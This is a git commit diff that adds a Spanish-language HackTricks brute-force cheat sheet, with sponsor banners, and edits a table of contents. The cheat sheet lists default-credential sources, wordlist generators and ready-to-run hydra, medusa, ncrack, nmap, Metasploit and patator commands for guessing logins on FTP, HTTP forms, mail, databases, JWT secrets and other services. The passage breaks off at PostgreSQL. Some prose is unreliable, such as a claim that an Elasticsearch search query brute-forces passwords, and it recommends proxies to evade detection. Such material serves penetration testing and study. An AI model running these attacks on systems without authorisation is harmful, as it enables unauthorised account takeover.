f
This commit is contained in:
parent
93a83d9cb7
commit
161584511a
15
SUMMARY.md
15
SUMMARY.md
@ -47,16 +47,11 @@
|
||||
* [Windows Artifacts](forensics/basic-forensic-methodology/windows-forensics/README.md)
|
||||
* [Windows Processes](forensics/basic-forensic-methodology/windows-forensics/windows-processes.md)
|
||||
* [Interesting Windows Registry Keys](forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md)
|
||||
* [Python Sandbox Escape & Pyscript](generic-methodologies-and-resources/python/README.md)
|
||||
* [Pyscript](generic-methodologies-and-resources/python/pyscript.md)
|
||||
* [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
|
||||
* [Class Pollution (Python's Prototype Pollution)](generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
|
||||
* [venv](generic-methodologies-and-resources/python/venv.md)
|
||||
* [Bypass Python sandboxes](generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md)
|
||||
* [LOAD\_NAME / LOAD\_CONST opcode OOB Read](generic-methodologies-and-resources/python/bypass-python-sandboxes/load\_name-load\_const-opcode-oob-read.md)
|
||||
* [Output Searching Python internals](generic-methodologies-and-resources/python/bypass-python-sandboxes/output-searching-python-internals.md)
|
||||
* [Web Requests](generic-methodologies-and-resources/python/web-requests.md)
|
||||
* [Bruteforce hash (few chars)](generic-methodologies-and-resources/python/bruteforce-hash-few-chars.md)
|
||||
* [Brute Force - CheatSheet](generic-methodologies-and-resources/brute-force.md)
|
||||
* [Exfiltration](generic-methodologies-and-resources/exfiltration.md)
|
||||
* [Tunneling and Port Forwarding](generic-methodologies-and-resources/tunneling-and-port-forwarding.md)
|
||||
* [Search Exploits](generic-methodologies-and-resources/search-exploits.md)
|
||||
|
||||
|
||||
## 🐧 Linux Hardening
|
||||
|
||||
|
937
generic-methodologies-and-resources/brute-force.md
Normal file
937
generic-methodologies-and-resources/brute-force.md
Normal file
@ -0,0 +1,937 @@
|
||||
# Fuerza Bruta - Hoja de trucos
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
|
||||
\
|
||||
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas de la comunidad más avanzadas del mundo.\
|
||||
Obtenga acceso hoy mismo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenga el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparta sus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
## Credenciales predeterminadas
|
||||
|
||||
**Busque en Google** las credenciales predeterminadas de la tecnología que se está utilizando, o **pruebe estos enlaces**:
|
||||
|
||||
* [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet)
|
||||
* [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html)
|
||||
* [**http://www.vulnerabilityassessment.co.uk/passwordsC.htm**](http://www.vulnerabilityassessment.co.uk/passwordsC.htm)
|
||||
* [**https://192-168-1-1ip.mobi/default-router-passwords-list/**](https://192-168-1-1ip.mobi/default-router-passwords-list/)
|
||||
* [**https://datarecovery.com/rd/default-passwords/**](https://datarecovery.com/rd/default-passwords/)
|
||||
* [**https://bizuns.com/default-passwords-list**](https://bizuns.com/default-passwords-list)
|
||||
* [**https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv**](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv)
|
||||
* [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium)
|
||||
* [**https://www.cirt.net/passwords**](https://www.cirt.net/passwords)
|
||||
* [**http://www.passwordsdatabase.com/**](http://www.passwordsdatabase.com)
|
||||
* [**https://many-passwords.github.io/**](https://many-passwords.github.io)
|
||||
* [**https://theinfocentric.com/**](https://theinfocentric.com/)
|
||||
|
||||
## **Crea tus propios diccionarios**
|
||||
|
||||
Encuentre tanta información sobre el objetivo como pueda y genere un diccionario personalizado. Herramientas que pueden ayudar:
|
||||
|
||||
### Crunch
|
||||
```bash
|
||||
crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet
|
||||
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst)
|
||||
|
||||
@ Lower case alpha characters
|
||||
, Upper case alpha characters
|
||||
% Numeric characters
|
||||
^ Special characters including spac
|
||||
crunch 6 8 -t ,@@^^%%
|
||||
```
|
||||
### Cewl
|
||||
|
||||
Cewl es una herramienta que se utiliza para crear listas de palabras a partir de un sitio web o de un archivo de texto. Es muy útil para la realización de ataques de fuerza bruta, ya que permite crear listas de palabras personalizadas basadas en el contenido del sitio web objetivo.
|
||||
|
||||
Para utilizar Cewl, simplemente se debe ejecutar el comando `cewl` seguido de la URL del sitio web o del archivo de texto que se desea analizar. La herramienta buscará todas las palabras en el sitio web o archivo de texto y las agregará a una lista de palabras personalizada.
|
||||
|
||||
Una vez que se ha creado la lista de palabras personalizada, se puede utilizar en herramientas de fuerza bruta como Hydra o Medusa para intentar adivinar las contraseñas de los usuarios. También se puede utilizar para realizar ataques de phishing, ya que permite crear listas de palabras personalizadas basadas en el contenido de un sitio web de phishing.
|
||||
|
||||
Es importante tener en cuenta que el uso de Cewl para crear listas de palabras personalizadas puede ser ilegal si se utiliza para realizar ataques sin autorización. Por lo tanto, se debe utilizar con precaución y siempre con el permiso del propietario del sitio web o del archivo de texto.
|
||||
```bash
|
||||
cewl example.com -m 5 -w words.txt
|
||||
```
|
||||
### [CUPP](https://github.com/Mebus/cupp)
|
||||
|
||||
Genera contraseñas basadas en tu conocimiento sobre la víctima (nombres, fechas...)
|
||||
```
|
||||
python3 cupp.py -h
|
||||
```
|
||||
### [Wister](https://github.com/cycurity/wister)
|
||||
|
||||
Wister es una herramienta generadora de listas de palabras que te permite suministrar un conjunto de palabras, dándote la posibilidad de crear múltiples variaciones a partir de las palabras dadas, creando una lista de palabras única e ideal para usar en relación a un objetivo específico.
|
||||
```bash
|
||||
python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst
|
||||
|
||||
__ _______ _____ _______ ______ _____
|
||||
\ \ / /_ _|/ ____|__ __| ____| __ \
|
||||
\ \ /\ / / | | | (___ | | | |__ | |__) |
|
||||
\ \/ \/ / | | \___ \ | | | __| | _ /
|
||||
\ /\ / _| |_ ____) | | | | |____| | \ \
|
||||
\/ \/ |_____|_____/ |_| |______|_| \_\
|
||||
|
||||
Version 1.0.3 Cycurity
|
||||
|
||||
Generating wordlist...
|
||||
[########################################] 100%
|
||||
Generated 67885 lines.
|
||||
|
||||
Finished in 0.920s.
|
||||
```
|
||||
### [pydictor](https://github.com/LandGrey/pydictor)
|
||||
|
||||
### Listas de palabras
|
||||
|
||||
* [**https://github.com/danielmiessler/SecLists**](https://github.com/danielmiessler/SecLists)
|
||||
* [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium)
|
||||
* [**https://github.com/kaonashi-passwords/Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi)
|
||||
* [**https://google/fuzzing/tree/master/dictionaries**](https://google/fuzzing/tree/master/dictionaries)
|
||||
* [**https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm**](https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm)
|
||||
* [**https://weakpass.com/wordlist/**](https://weakpass.com/wordlist/)
|
||||
* [**https://wordlists.assetnote.io/**](https://wordlists.assetnote.io/)
|
||||
* [**https://github.com/fssecur3/fuzzlists**](https://github.com/fssecur3/fuzzlists)
|
||||
* [**https://hashkiller.io/listmanager**](https://hashkiller.io/listmanager)
|
||||
* [**https://github.com/Karanxa/Bug-Bounty-Wordlists**](https://github.com/Karanxa/Bug-Bounty-Wordlists)
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
|
||||
\
|
||||
Utilice [**Trickest**](https://trickest.io/) para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas de la comunidad más avanzadas del mundo.\
|
||||
Obtenga acceso hoy:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Servicios
|
||||
|
||||
Ordenados alfabéticamente por nombre de servicio.
|
||||
|
||||
### AFP
|
||||
```bash
|
||||
nmap -p 548 --script afp-brute <IP>
|
||||
msf> use auxiliary/scanner/afp/afp_login
|
||||
msf> set BLANK_PASSWORDS true
|
||||
msf> set USER_AS_PASS true
|
||||
msf> set PASS_FILE <PATH_PASSWDS>
|
||||
msf> set USER_FILE <PATH_USERS>
|
||||
msf> run
|
||||
```
|
||||
### AJP
|
||||
|
||||
El Protocolo de Conector de Java Avanzado (AJP) es un protocolo de red utilizado por los servidores web para comunicarse con los servidores de aplicaciones. A menudo se utiliza en entornos de servidor web de alta carga para mejorar el rendimiento y la escalabilidad.
|
||||
|
||||
Los atacantes pueden utilizar la técnica de fuerza bruta para intentar adivinar las credenciales de inicio de sesión de AJP. Esto se puede hacer utilizando herramientas como Hydra o Patator. También es posible buscar vulnerabilidades conocidas en el servidor AJP, como la exposición de información sensible o la ejecución remota de código.
|
||||
```bash
|
||||
nmap --script ajp-brute -p 8009 <IP>
|
||||
```
|
||||
### Cassandra
|
||||
|
||||
Cassandra es una base de datos distribuida altamente escalable y tolerante a fallos. Es utilizada por muchas empresas para almacenar grandes cantidades de datos en múltiples servidores. Debido a su arquitectura distribuida, Cassandra es resistente a los fallos de hardware y software, lo que la hace muy confiable. Sin embargo, esto también la hace vulnerable a los ataques de fuerza bruta.
|
||||
|
||||
La forma más común de realizar un ataque de fuerza bruta en Cassandra es intentar adivinar la contraseña de un usuario con acceso a la base de datos. Esto se puede hacer utilizando herramientas como Hydra o Medusa, que intentan diferentes combinaciones de nombres de usuario y contraseñas hasta que encuentran una que funcione.
|
||||
|
||||
Para evitar un ataque de fuerza bruta en Cassandra, es importante utilizar contraseñas seguras y complejas, y limitar el número de intentos de inicio de sesión fallidos permitidos antes de bloquear la cuenta. También se pueden utilizar herramientas de monitoreo de seguridad para detectar y prevenir intentos de inicio de sesión malintencionados.
|
||||
```bash
|
||||
nmap --script cassandra-brute -p 9160 <IP>
|
||||
```
|
||||
### CouchDB
|
||||
|
||||
CouchDB es una base de datos NoSQL que utiliza JSON para almacenar datos. Es muy popular en aplicaciones web y móviles debido a su capacidad para sincronizar datos entre dispositivos.
|
||||
|
||||
#### Fuerza bruta en CouchDB
|
||||
|
||||
CouchDB tiene una API RESTful que permite a los usuarios realizar operaciones CRUD en la base de datos. Esto significa que es posible realizar ataques de fuerza bruta contra la API para intentar adivinar las credenciales de inicio de sesión de un usuario.
|
||||
|
||||
Para realizar un ataque de fuerza bruta en CouchDB, se puede utilizar una herramienta como Hydra o Burp Suite. El objetivo es enviar solicitudes HTTP POST a la API de CouchDB con diferentes combinaciones de nombres de usuario y contraseñas hasta que se encuentre una combinación válida.
|
||||
|
||||
Es importante tener en cuenta que CouchDB tiene una función de límite de velocidad incorporada que limita el número de solicitudes que se pueden enviar en un período de tiempo determinado. Por lo tanto, es posible que se necesite ajustar la velocidad del ataque para evitar que se bloquee la cuenta del usuario o se detecte el ataque.
|
||||
```bash
|
||||
msf> use auxiliary/scanner/couchdb/couchdb_login
|
||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
|
||||
```
|
||||
### Registro de Docker
|
||||
```
|
||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/
|
||||
```
|
||||
### Elasticsearch
|
||||
|
||||
Elasticsearch es un motor de búsqueda y análisis de datos distribuido y de código abierto. Es utilizado por muchas empresas para indexar y buscar grandes cantidades de datos. Elasticsearch utiliza una API RESTful y JSON para interactuar con los datos.
|
||||
|
||||
#### Fuerza bruta
|
||||
|
||||
La fuerza bruta en Elasticsearch se puede realizar utilizando la API RESTful. La API de Elasticsearch tiene una ruta llamada `_search` que se puede utilizar para buscar datos. La ruta `_search` acepta una consulta JSON que se utiliza para buscar datos.
|
||||
|
||||
Para realizar un ataque de fuerza bruta en Elasticsearch, se puede enviar una consulta JSON que contenga una lista de contraseñas. La consulta debe estar estructurada de tal manera que intente cada contraseña en la lista hasta que se encuentre la correcta.
|
||||
|
||||
Un ejemplo de consulta JSON para un ataque de fuerza bruta en Elasticsearch se muestra a continuación:
|
||||
|
||||
```
|
||||
POST /index/_search
|
||||
{
|
||||
"query": {
|
||||
"bool": {
|
||||
"should": [
|
||||
{ "match": { "password": "password1" } },
|
||||
{ "match": { "password": "password2" } },
|
||||
{ "match": { "password": "password3" } }
|
||||
]
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
En este ejemplo, la consulta intentará las contraseñas "password1", "password2" y "password3" en el campo "password" del índice "index". Si se encuentra la contraseña correcta, Elasticsearch devolverá los datos correspondientes.
|
||||
```
|
||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
|
||||
```
|
||||
### FTP
|
||||
|
||||
El Protocolo de Transferencia de Archivos (FTP, por sus siglas en inglés) es un protocolo de red utilizado para la transferencia de archivos de un host a otro a través de una red TCP basada en IP. FTP utiliza un modelo cliente-servidor para la transferencia de archivos y requiere autenticación para acceder a los archivos. Los ataques de fuerza bruta contra FTP implican intentar adivinar las credenciales de inicio de sesión de un usuario mediante la prueba de diferentes combinaciones de nombres de usuario y contraseñas.
|
||||
```bash
|
||||
hydra -l root -P passwords.txt [-t 32] <IP> ftp
|
||||
ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
|
||||
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp
|
||||
```
|
||||
### Fuerza Bruta Genérica HTTP
|
||||
|
||||
#### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md)
|
||||
|
||||
### Autenticación Básica HTTP
|
||||
```bash
|
||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
|
||||
# Use https-get mode for https
|
||||
medusa -h <IP> -u <username> -P <passwords.txt> -M http -m DIR:/path/to/auth -T 10
|
||||
```
|
||||
### HTTP - Enviar formulario mediante POST
|
||||
```bash
|
||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
|
||||
# Use https-post-form mode for https
|
||||
```
|
||||
Para http**s** tienes que cambiar de "http-post-form" a "**https-post-form"**
|
||||
|
||||
### **HTTP - CMS --** (W)ordpress, (J)oomla o (D)rupal o (M)oodle
|
||||
```bash
|
||||
cmsmap -f W/J/D/M -u a -p a https://wordpress.com
|
||||
```
|
||||
### IMAP
|
||||
|
||||
El Protocolo de Acceso a Mensajes de Internet (IMAP) es un protocolo de correo electrónico utilizado para recibir correos electrónicos de un servidor de correo electrónico. IMAP permite a los usuarios acceder a sus correos electrónicos desde cualquier dispositivo y mantenerlos sincronizados. Los servidores de correo electrónico IMAP suelen tener medidas de seguridad para evitar ataques de fuerza bruta, como limitar el número de intentos de inicio de sesión y bloquear direcciones IP después de varios intentos fallidos. Sin embargo, si se encuentra una vulnerabilidad en el servidor, un atacante podría intentar un ataque de fuerza bruta para obtener acceso no autorizado a una cuenta de correo electrónico.
|
||||
```bash
|
||||
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
|
||||
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
|
||||
nmap -sV --script imap-brute -p <PORT> <IP>
|
||||
```
|
||||
### IRC
|
||||
|
||||
IRC (Internet Relay Chat) es un protocolo de comunicación en tiempo real utilizado principalmente para la comunicación en grupo. Los canales de IRC son salas de chat virtuales donde los usuarios pueden comunicarse entre sí. Los canales de IRC son muy populares en la comunidad de hacking y se utilizan a menudo para discutir temas relacionados con la seguridad informática.
|
||||
|
||||
El brute force en IRC se puede realizar mediante el uso de herramientas como Hydra o Medusa. Estas herramientas pueden ser utilizadas para probar contraseñas en un servidor de IRC. También es posible realizar ataques de diccionario utilizando listas de contraseñas comunes.
|
||||
|
||||
Es importante tener en cuenta que el brute force en IRC puede ser detectado fácilmente por los administradores del servidor. Por lo tanto, se recomienda utilizar técnicas de evasión, como el uso de proxies o VPNs, para ocultar la dirección IP del atacante.
|
||||
```bash
|
||||
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>
|
||||
```
|
||||
### ISCSI
|
||||
|
||||
iSCSI (Internet Small Computer System Interface) es un protocolo de red que permite a los dispositivos de almacenamiento de datos conectarse a través de una red IP. Esto permite que los dispositivos de almacenamiento se compartan entre múltiples servidores y aplicaciones.
|
||||
|
||||
Los ataques de fuerza bruta contra iSCSI pueden ser utilizados para intentar adivinar las credenciales de autenticación de un dispositivo de almacenamiento iSCSI. Esto puede permitir a un atacante acceder a los datos almacenados en el dispositivo.
|
||||
|
||||
Para llevar a cabo un ataque de fuerza bruta contra iSCSI, se puede utilizar una herramienta como `iscsi-brute`. Esta herramienta intentará adivinar las credenciales de autenticación utilizando una lista de posibles nombres de usuario y contraseñas.
|
||||
|
||||
Es importante tener en cuenta que los ataques de fuerza bruta pueden ser detectados por los sistemas de seguridad, por lo que es importante utilizar técnicas de evasión para evitar la detección.
|
||||
```bash
|
||||
nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 <IP>
|
||||
```
|
||||
### JWT
|
||||
|
||||
JWT (JSON Web Token) es un estándar abierto (RFC 7519) que define un formato compacto y autónomo para transmitir información de forma segura entre partes como un objeto JSON. Esta información puede ser verificada y confiada porque está firmada digitalmente. Los JWT se utilizan a menudo para la autenticación y la autorización en aplicaciones web y móviles.
|
||||
|
||||
Un JWT consta de tres partes separadas por puntos: el encabezado, la carga útil y la firma. El encabezado especifica el tipo de token y el algoritmo de firma utilizado. La carga útil contiene la información que se va a transmitir, como el nombre de usuario y los permisos de acceso. La firma se utiliza para verificar la integridad del token y garantizar que no ha sido manipulado.
|
||||
|
||||
Los JWT son vulnerables a los ataques de fuerza bruta si se utilizan algoritmos de firma débiles o si las claves secretas son demasiado cortas o predecibles. Es importante utilizar algoritmos de firma fuertes y claves secretas aleatorias y seguras para proteger los JWT. Además, es recomendable utilizar medidas de seguridad adicionales, como la limitación de intentos de inicio de sesión y la detección de patrones de comportamiento sospechosos.
|
||||
```bash
|
||||
#hashcat
|
||||
hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt
|
||||
|
||||
#https://github.com/Sjord/jwtcrack
|
||||
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt
|
||||
|
||||
#John
|
||||
john jwt.txt --wordlist=wordlists.txt --format=HMAC-SHA256
|
||||
|
||||
#https://github.com/ticarpi/jwt_tool
|
||||
python3 jwt_tool.py -d wordlists.txt <JWT token>
|
||||
|
||||
#https://github.com/brendan-rius/c-jwt-cracker
|
||||
./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc 1234567890 8
|
||||
|
||||
#https://github.com/mazen160/jwt-pwn
|
||||
python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc -w wordlist.txt
|
||||
|
||||
#https://github.com/lmammino/jwt-cracker
|
||||
jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6
|
||||
```
|
||||
### LDAP
|
||||
|
||||
LDAP (Protocolo Ligero de Acceso a Directorios) es un protocolo de red utilizado para acceder y mantener información de directorios distribuidos. Es comúnmente utilizado para autenticación y autorización en sistemas de red.
|
||||
|
||||
#### Ataque de fuerza bruta
|
||||
|
||||
El ataque de fuerza bruta en LDAP implica intentar adivinar las credenciales de un usuario mediante la prueba de diferentes combinaciones de nombres de usuario y contraseñas. Este ataque puede ser automatizado utilizando herramientas como Hydra o Patator.
|
||||
|
||||
Para llevar a cabo un ataque de fuerza bruta en LDAP, primero se necesita una lista de posibles nombres de usuario y contraseñas. Estas listas pueden ser creadas utilizando herramientas como CeWL o Crunch.
|
||||
|
||||
Una vez que se tiene la lista de posibles credenciales, se puede utilizar una herramienta de fuerza bruta para probar cada combinación hasta que se encuentre una que funcione. Es importante tener en cuenta que algunos servidores LDAP pueden tener medidas de seguridad en su lugar para prevenir ataques de fuerza bruta, como la limitación del número de intentos de inicio de sesión permitidos antes de bloquear la cuenta.
|
||||
```bash
|
||||
nmap --script ldap-brute -p 389 <IP>
|
||||
```
|
||||
### MQTT
|
||||
|
||||
MQTT (Message Queuing Telemetry Transport) es un protocolo de mensajería ligero diseñado para dispositivos IoT (Internet de las cosas) con ancho de banda limitado y conexiones inestables. MQTT utiliza un modelo de publicación/suscripción en el que los clientes se suscriben a temas (topics) y reciben mensajes publicados en esos temas.
|
||||
|
||||
Los ataques de fuerza bruta contra MQTT pueden ser utilizados para obtener credenciales de acceso a dispositivos IoT y a sistemas de control industrial. Los atacantes pueden utilizar herramientas como Mosquito, que es un servidor MQTT de código abierto, para realizar ataques de fuerza bruta contra dispositivos IoT y sistemas de control industrial que utilizan MQTT.
|
||||
|
||||
Para protegerse contra los ataques de fuerza bruta en MQTT, se recomienda utilizar contraseñas fuertes y cambiarlas regularmente. También se recomienda utilizar certificados SSL/TLS para cifrar las comunicaciones MQTT y limitar el acceso a los dispositivos IoT y sistemas de control industrial a través de firewalls y otros mecanismos de seguridad.
|
||||
```
|
||||
ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v
|
||||
```
|
||||
### Mongo
|
||||
|
||||
Mongo es una base de datos NoSQL muy popular que se utiliza en muchos proyectos. A menudo, los desarrolladores no configuran adecuadamente la seguridad de Mongo, lo que puede permitir a los atacantes acceder a la base de datos y robar información confidencial. Una técnica común utilizada para atacar Mongo es la fuerza bruta, que implica probar diferentes combinaciones de nombres de usuario y contraseñas hasta encontrar la correcta. Para evitar esto, es importante asegurarse de que se han tomado medidas adecuadas para proteger la base de datos, como la configuración de contraseñas seguras y la limitación del acceso a la base de datos solo a usuarios autorizados.
|
||||
```bash
|
||||
nmap -sV --script mongodb-brute -n -p 27017 <IP>
|
||||
use auxiliary/scanner/mongodb/mongodb_login
|
||||
```
|
||||
### MySQL
|
||||
|
||||
MySQL es un sistema de gestión de bases de datos relacional de código abierto. Es ampliamente utilizado en aplicaciones web y es compatible con muchos lenguajes de programación. MySQL utiliza una combinación de nombre de usuario y contraseña para autenticar a los usuarios y proporciona una variedad de herramientas de seguridad para proteger los datos almacenados en la base de datos.
|
||||
|
||||
#### Fuerza bruta
|
||||
|
||||
La fuerza bruta es una técnica común utilizada para obtener acceso no autorizado a una base de datos MySQL. Consiste en probar todas las combinaciones posibles de nombres de usuario y contraseñas hasta que se encuentra una que funcione. Los atacantes pueden utilizar herramientas automatizadas para realizar ataques de fuerza bruta en una base de datos MySQL.
|
||||
|
||||
Para protegerse contra los ataques de fuerza bruta, se recomienda utilizar contraseñas seguras y complejas que contengan una combinación de letras, números y caracteres especiales. También se recomienda limitar el número de intentos de inicio de sesión fallidos antes de bloquear temporalmente la cuenta del usuario. Además, se pueden utilizar herramientas de detección de intrusos para detectar y bloquear automáticamente los intentos de inicio de sesión malintencionados.
|
||||
```bash
|
||||
# hydra
|
||||
hydra -L usernames.txt -P pass.txt <IP> mysql
|
||||
|
||||
# msfconsole
|
||||
msf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false
|
||||
|
||||
# medusa
|
||||
medusa -h <IP/Host> -u <username> -P <password_list> <-f | to stop medusa on first success attempt> -t <threads> -M mysql
|
||||
```
|
||||
### OracleSQL
|
||||
|
||||
OracleSQL es un lenguaje de programación utilizado para administrar y manipular bases de datos Oracle. Es comúnmente utilizado en aplicaciones empresariales y es una herramienta importante para los hackers que buscan acceder a información confidencial almacenada en bases de datos Oracle. Los ataques de fuerza bruta son comunes en OracleSQL y pueden ser utilizados para descubrir contraseñas débiles o vulnerabilidades en la seguridad de la base de datos. Es importante que los administradores de bases de datos tomen medidas para proteger sus sistemas contra estos ataques, como la implementación de políticas de contraseñas fuertes y la limitación del acceso a la base de datos solo a usuarios autorizados.
|
||||
```bash
|
||||
patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017
|
||||
|
||||
./odat.py passwordguesser -s $SERVER -d $SID
|
||||
./odat.py passwordguesser -s $MYSERVER -p $PORT --accounts-file accounts_multiple.txt
|
||||
|
||||
#msf1
|
||||
msf> use admin/oracle/oracle_login
|
||||
msf> set RHOSTS <IP>
|
||||
msf> set RPORT 1521
|
||||
msf> set SID <SID>
|
||||
|
||||
#msf2, this option uses nmap and it fails sometimes for some reason
|
||||
msf> use scanner/oracle/oracle_login
|
||||
msf> set RHOSTS <IP>
|
||||
msf> set RPORTS 1521
|
||||
msf> set SID <SID>
|
||||
|
||||
#for some reason nmap fails sometimes when executing this script
|
||||
nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=<SID> <IP>
|
||||
```
|
||||
Para utilizar **oracle\_login** con **patator** necesitas **instalar**:
|
||||
```bash
|
||||
pip3 install cx_Oracle --upgrade
|
||||
```
|
||||
Fuerza bruta de hash OracleSQL offline (versiones 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2 y 11.2.0.3):
|
||||
```bash
|
||||
nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
|
||||
```
|
||||
### POP
|
||||
|
||||
POP (Post Office Protocol) es un protocolo utilizado para la recuperación de correo electrónico desde un servidor remoto. POP3 es la versión más utilizada actualmente. Los ataques de fuerza bruta contra servidores POP3 son comunes y pueden ser muy efectivos si se utilizan contraseñas débiles.
|
||||
```bash
|
||||
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
|
||||
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V
|
||||
```
|
||||
### PostgreSQL
|
||||
|
||||
PostgreSQL es un sistema de gestión de bases de datos relacional de código abierto y gratuito. Es muy utilizado en aplicaciones web y móviles, y es compatible con una amplia variedad de lenguajes de programación. PostgreSQL es conocido por su seguridad y estabilidad, y es una opción popular para aplicaciones empresariales críticas.
|
||||
|
||||
#### Fuerza bruta en PostgreSQL
|
||||
|
||||
La fuerza bruta en PostgreSQL se puede realizar mediante ataques de diccionario o mediante ataques de fuerza bruta puros. Los ataques de diccionario implican el uso de una lista de palabras comunes para adivinar contraseñas, mientras que los ataques de fuerza bruta puros implican probar todas las combinaciones posibles de caracteres hasta encontrar la contraseña correcta.
|
||||
|
||||
